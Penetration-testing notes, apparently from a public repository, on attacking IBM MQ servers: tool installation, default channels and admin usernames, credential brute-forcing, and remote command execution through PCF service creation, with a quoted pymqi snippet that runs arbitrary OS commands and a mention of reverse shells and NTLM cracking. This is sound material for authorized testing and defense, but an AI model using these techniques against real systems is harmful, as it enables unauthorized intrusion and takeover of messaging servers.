mgeeky-Penetration-Testing-.../networks/IBM-MQ-Pentesting-notes.md

7.7 KiB
Raw Permalink Blame History

Practical IBM MQ Penetration Testing notes

In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them.

Step 1: Installing prerequisities

Pre-requisites: IBM MQ Client

  1. Download the IBM MQ V9.0.0.4 LTS Clients - the file should be named: 9.0.0.4-IBM-MQC-LinuxX64.tar.gz (9.0.0.4 Client install image for IBM MQ on Linux X86-64) - size: 397MB
  2. Extract it to whatever directory.
  3. Install debian/Kali/Ubuntu pre-requisities apt install -y python-dev rpm
  4. Accept the license: sudo ./mqlicense.sh -accept or sudo ./mqlicense.sh -text_only
  5. Do the following:
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm

Step 2: Pymqi & punch-q

Having properly installed all of the MQ Client dependencies, we can now proceed to installing pymqi and punch-q:

  1. Clone the punch-q repo: git clone https://github.com/sensepost/punch-q
  2. Install them:
# pip install pymqi
# pip install -r requirements.txt
# python setup.py install
  1. Before using punch-q specify MQ libraries path:

Either globally:

# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
# sudo ldconfig -v

or temporarily:

# export LD_LIBRARY_PATH=/opt/mqm/lib64

One stop shop script installing IBM MQ Client libraries

Assuming we have 9.0.0.4-IBM-MQC-LinuxX64.tar.gz file in our current directory, following script applies on Kali x64 linux:

apt install -y python-dev rpm pcregrep
tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh
cat /tmp/mqlicense.sh > mqlicense.sh
rm /tmp/mqlicense.sh
yes | sudo ./mqlicense.sh -accept
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
pip install pymqi
echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
sudo ldconfig -v
ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf
git clone https://github.com/sensepost/punch-q
cd punch-q
pip install -r requirements.txt
python setup.py install

Step 2: Handy notes on where to focus

Internally:

Having found several running processes with names such as: amqsvc.exe, amqxssvn.exe, amqrrmfa.exe, amqmtbrn.exe

These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication.

Externally:

By using punch-mq we can:

  1. Discover/Brute-Force available CHANNELS,
  2. Enumerate usernames (valid UserId fields)
  3. Enumerate Queue Manager names
  4. List available Channels or Queues as an authenticated user.
  5. PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user
  6. Issue OS Commands by the use of PCFExecute functionality

In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared:

  • Hostname/IP address
  • TCP Port, typically 1414/tcp
  • Queue Manager name - easily obtained by the use of nmap scripts: nmap -p 1414 -sV <host>
  • Channel name (can be one of the below listed), at first start with: SYSTEM.ADMIN.SVRCONN
  • Username (list of default system usernames below)
  • Password

Incorrect access credentials will result in pymqi returning following response:

pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED

1) Default channel names:

(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)

SYSTEM.ADMIN.SVRCONN
SYSTEM.AUTO.SVRCONN
SYSTEM.DEF.SVRCONN
SYSTEM.DEF.SERVER
SYSTEM.DEF.CLNTCONN

2) Default Userid's depending on target OS version:

OS Version UserId
Linux/Unix/AIX mqm
Windows MUSR_MQADMIN
Other mqadmin

5) Important Administration QUEUE names:

SYSTEM.ADMIN.COMMAND.QUEUE
SYSTEM.DEFAULT.MODEL.QUEUE
SYSTEM.AUTH.DATA.QUEUE

6) Remote Code Execution

6.1. Programmable Command Format (PCF) Services

Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (Programmable Command Format) commands (on MQ v6+) that would give us OS command execution by the use a concept called services:

  • MQCMD_CREATE_SERVICE,
  • MQCMD_START_SERVICE,
  • MQCMD_STOP_SERVICE,
  • MQCMD_DELETE_SERVICE

That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects.

Using pymqi or punch-mq this is as simple as invoking following code (source: punch-mq ):

    # create service
    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)
                         
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd),
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args)
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_START_SERVICE(args)

    # Giving the service some time to live
    time.sleep(wait)

    # delete service
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()

Incomming command will then be executed most likely as a root user. punch-mq does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner.

If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on SYSTEM.DEFAULT.MODEL.QUEUE template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24).

6.2. Use of Triggers

Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger.

Additional sources

  1. Martyn Ruks: WebSphere MQ Security. White Paper Part 1
  2. Martyn Ruks: MQ Jumping
  3. punch-q
  4. pymqi installation issue
  5. mini-reverse.ps1 script designed by @staaldraad